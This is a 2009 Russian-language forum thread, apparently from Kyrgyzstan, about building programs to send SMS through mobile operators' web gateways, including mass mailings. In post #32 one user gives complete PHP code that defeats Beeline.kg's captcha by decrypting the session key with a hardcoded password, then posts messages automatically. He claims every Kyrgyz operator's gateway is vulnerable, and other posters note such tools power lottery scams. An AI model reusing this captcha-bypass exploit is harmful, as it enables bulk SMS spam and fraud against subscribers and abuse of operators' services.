Прога для отправки СМС, Хочу написать прогу для отправки пыш-пышек на fonex |
Здравствуйте, гость ( Вход | Регистрация | Восстановление пароля )
![]() ![]() |
Прога для отправки СМС, Хочу написать прогу для отправки пыш-пышек на fonex |
|
27.8.2009, 20:55
Сообщение
#21
|
|
![]() Группа: Человеки Регистрация: 24.8.04 Пол: Не указан |
два года уже работает:
http://anton-kirsanov.com/fonex/ Купить короткий номер у оператора стоит порядка 100$, плюс абонка 50 в месяц, а смс без лимита в разумных пределах и без спама. Как вариант ещё можно купить аккаунт в сервисах типа avisosms.ru, тарифы на сайте, но именно на фонекс смски оттуда (да и с других внешних смс провайдеров) не идут. Ещё вариант - купить смс модем и реализовывать отправку через AT команды. Ещё вариант - некоторые операторы устанавливают email2sms гейты - например 996550111111@sms.megacom.kg, у фонекса надо уточнять. Сообщение отредактировал KPbIC - 27.8.2009, 21:02 |
|
|
|
|
1.9.2009, 5:32
Сообщение
#22
|
|
![]() Группа: Человеки Регистрация: 13.3.07 Пол: Мужской |
зачем геморроиться с обходм капчи? пусть она на форме будет появляться, а через поле ввода код капчи будет отправлять на сервер
|
|
|
|
|
1.9.2009, 13:49
Сообщение
#23
|
|
![]() Группа: Человеки Регистрация: 2.10.06 Пол: Мужской |
Romany4
этот способ применим когда одному человеку надо отправить 1-2 смски а если ему надо отправить 10000 смсок? вот тут и нужен обход капчи. можно конечно и через АТ команды, и через гейты разные всякие. но я например рассказал как без всяких договоров и железа за пару часов создается несложный софт для масс рассылок ) |
|
|
|
|
10.9.2009, 22:20
Сообщение
#24
|
|
![]() Группа: Человеки Регистрация: 28.3.07 Пол: Мужской |
можно сделать так как в Coyot, чтоб юзер капчу сам вводил. Там главное куки с сайта брать. Как у фонекса не знаю, а у O.kg вот как:
вот так выглядит картинка Common/img/secretImage.jpg?sid3=сесия_из_куксов вот взятые куки WASession_11291_89739872 в итоге Common/img/secretImage.jpg?sid3=WASession_11291_89739872 на фонэксе наверное так же )) а если массово хочешь, ищи распознавалку )) Сообщение отредактировал scroollocker - 10.9.2009, 22:21 |
|
|
|
|
11.9.2009, 13:48
Сообщение
#25
|
|
![]() Группа: Заблокированные Регистрация: 18.7.05 Пол: Мужской |
допустим написали такую прогу которая каптчи распознает и отправляет рассылки, мля этой прогой потом хотите какой нибудь лохотрон запустить? типа вы выиграли в лотереи, и закинтье сюда денег получите свой приз? ну типа такого?
|
|
|
|
|
11.9.2009, 19:42
Сообщение
#26
|
|
![]() Группа: Человеки Регистрация: 28.3.07 Пол: Мужской |
atb
зачем )) Можно одновременно всех друзей на днюху пригласить |
|
|
|
|
14.9.2009, 18:33
Сообщение
#27
|
|
![]() Группа: Человеки Регистрация: 2.10.06 Пол: Мужской |
atb
такой софт уже есть и писать ничего не нужно, его полно )) а лохатроны именно так и работают, не сидят же их индусы руками рассылают. все автоматизировано. |
|
|
|
|
14.9.2009, 20:52
Сообщение
#28
|
|
![]() Группа: Человеки Регистрация: 28.3.07 Пол: Мужской |
если кому интересно, вот ссылки про распознавание текста
http://www.citforum.ru/programming/delphi/recognition_1/ http://www.citforum.ru/programming/delphi/recognition_2/ Можно замутить распознавлку Капчи |
|
|
|
|
27.9.2009, 4:27
Сообщение
#29
|
|
![]() Группа: Человеки Регистрация: 18.11.04 Пол: Мужской |
alligatorus
scroollocker Толкнули таки меня своими размышлениями на мелкое хулиганство. http://weltkind.com/ru/work/secrets/?id=166 Билайн и Некси можно обходить без распознавания. А вот например написание распознавалки для Мегакома будет ли дешевле чем покупка номера? КРЫС Цитата Как фонекс обошел? Что там за прикол с перегенерацией после отправки? Сообщение отредактировал Weltkind - 27.9.2009, 4:30 |
|
|
|
|
27.9.2009, 10:59
Сообщение
#30
|
|
![]() Группа: Человеки Регистрация: 2.10.06 Пол: Мужской |
Weltkind
мдаааа.... лошары... кто же картинку к идентификатору привязывает...... а у мегакома это дело зарезано, там он текст сам по себе генерится, я когда под него писал, тоже озадачился этим параметром ранд, он там только для отнимания времени у програмистов )))) |
|
|
|
|
3.10.2009, 2:34
Сообщение
#31
|
|
![]() Группа: Человеки Регистрация: 13.3.07 Пол: Мужской |
Цитата E-mail 2 SMS Услуга E-mail 2 SMS позволяет абонентам FONEX принимать короткие текстовые сообщения от пользователей электронной почты на свой сотовый аппарат в виде SMS. Для того чтобы отправить электронное сообщение абоненту FONEX, отправителю нужно: Создать новое письмо В адресе получателя ввести [номер сотового аппарата получателя*]@sms.cdma.kg, например: 950000@sms.cdma.kg Тему письма оставить пустой (необходимо, чтобы в теме письма не содержалось никаких символов) В теле письма ввести сообщение Отправить созданное сообщение. * номер сотового аппарата получателя может быть представлен в трех форматах – шестизначном (950000), десятизначном (0545950000), двенадцатизначном (996545950000). На форму кинул листбокс, 2 поля ввода и пару кнопок. По нажатию по кнопке "Отправить" - запускаем отправку письма с заранее указанного ящика, с указанными на форме параметрами. Так же можно отправлять и на мегаком. 996555ХХХХХХ@sms.megacom.kg Плюс + мегакома есть отправка icq2sms. Не знаю как на других языках, а для Delphi есть компонент ICQClinet, с помощью которого это можно осуществить Сообщение отредактировал Romany4 - 3.10.2009, 2:38 |
|
|
|
|
3.10.2009, 15:52
Сообщение
#32
|
|
![]() Группа: Человеки Регистрация: 24.8.04 Пол: Не указан |
Weltkind мдаааа.... лошары... кто же картинку к идентификатору привязывает...... а у мегакома это дело зарезано, там он текст сам по себе генерится, я когда под него писал, тоже озадачился этим параметром ранд, он там только для отнимания времени у програмистов )))) мегаком по другому обходится, через внешние шлюзы. Дело в том что у билайна капчу реализовывали местные парни. Сессионный ключ просто напросто хранит в себе исходный текст на картинке. Основная задача - понять как оно работает и расшифровать этот сессионный ключ, получив код на капче, или достать исходники. http://pastebin.com/f31aa7d25 Вот так и выглядит обход ихней капчи. Код <?php class BeelineWorker extends Worker { private $captchaPassword = "captcha"; private $captchaLen = 5; // +996 protected $mask = array( "+996772%", "+996773%", "+996775%", "+996777%", "+996778%", "+996770%", ); /// function Send() { $sms = $this->GetSMS(); if(!empty($sms)) { foreach($sms as $s) { $response = ""; $result = $this->SendSmsViaAnimatedCapthaBug($s->number, $s->message, &$response); if($result) { $s->Sended($response); } else if($response != null) { $s->UpdateServiceResponse($response); } } } } /// function SendSmsViaAnimatedCapthaBug($number, $message, &$result) { if(preg_match("/^\+?996(\d{3,3})(\d{6,6})$/", $number, $o)) { $code = $o[1]; $number = $o[2]; $url = "http://sms.beeline.kg/"; $c = file_get_contents($url); if(preg_match("/capcha\/CaptchaImage\.php\?uid\=\d+\;(.*\%3D)/isU", $c, $o) && preg_match("/<input\s+type\=hidden\s+name\=\"cid\"\s+value\=\"(.*)\">/isU", $c, $oo)) { $secret = urldecode($o[1]); $captcha = $this->md5_decrypt($secret, $this->captchaPassword); $query = array( "code" => $code, "phone" => $number, "uid" => $captcha, "date" => date("d.m.Y"), "hour" => 0, "minute" => 0, "message" => $message, "cid" => $oo[1], ); $c = curl_init(); curl_setopt($c, CURLOPT_URL, $url); curl_setopt($c, CURLOPT_REFERER, $url); curl_setopt($c, CURLOPT_USERAGENT, "MSIE"); curl_setopt($c, CURLOPT_POST, 1); curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); curl_setopt($c, CURLOPT_NOBODY, 0); curl_setopt($c, CURLOPT_HEADER, 1); curl_setopt($c, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($c, CURLOPT_POST, 1); curl_setopt($c, CURLOPT_POSTFIELDS, http_build_query($query)); $r = curl_exec($c); $info = curl_getinfo($c); curl_close($c); if(preg_match("/<div\s+id\=msage>\s*?(.*)\s*?<\/div>/isU", $r, $o)) { $result = $o[1]; if(preg_match("/Ваше соообщение отправлено/i", $result)) return true; } } } return false; } /// private function md5_decrypt ( $enc_text, $password, $iv_len = 16 ) { $enc_text = base64_decode ( $enc_text ); $n = strlen ( $enc_text ); $i = $iv_len; $plain_text = ''; $iv = substr ( $password ^ substr ( $enc_text, 0, $iv_len ), 0, 512 ); while ( $i < $n ) { $block = substr ( $enc_text, $i, 16 ); $plain_text .= $block ^ pack ( 'H*', md5 ( $iv ) ); $iv = substr ( $block . $iv, 0, 512 ) ^ $password; $i += 16; } return preg_replace ( '/\\x13\\x00*$/', '', $plain_text ); } } код фонекса выкладывать не буду, кому нужно - сами догадаются, уязвимость там не сложная. на сегодняшний день уязвимы смс шлюзы всех мобильных операторов Кыргызстана. Сообщение отредактировал KPbIC - 3.10.2009, 16:03 |
|
|
|
|
3.10.2009, 16:52
Сообщение
#33
|
|
![]() Группа: Человеки Регистрация: 2.10.06 Пол: Мужской |
KPbIC
что тут скажешь, юмористы, неужели так тяжело написать нормальную капчу |
|
|
|
|
3.10.2009, 17:00
Сообщение
#34
|
|
![]() Группа: Человеки Регистрация: 24.8.04 Пол: Не указан |
KPbIC что тут скажешь, юмористы, неужели так тяжело написать нормальную капчу Написать нормальную капчу, сложную для разбора роботами, но легкую для человека, действительно сложно. В данном случае или плохо платят в билайне, или кадровый отбор уже не торт. Сообщение отредактировал KPbIC - 3.10.2009, 17:01 |
|
|
|
|
8.10.2009, 12:01
Сообщение
#35
|
|
![]() Группа: Человеки Регистрация: 15.10.07 Пол: Не указан |
два года уже работает: http://anton-kirsanov.com/fonex/ Привет, а можешь сделать веб-морду для отправки сообщений на Билайн? |
|
|
|
![]() ![]() |
|
Текстовая версия | Сейчас: 31.7.2010, 16:41 |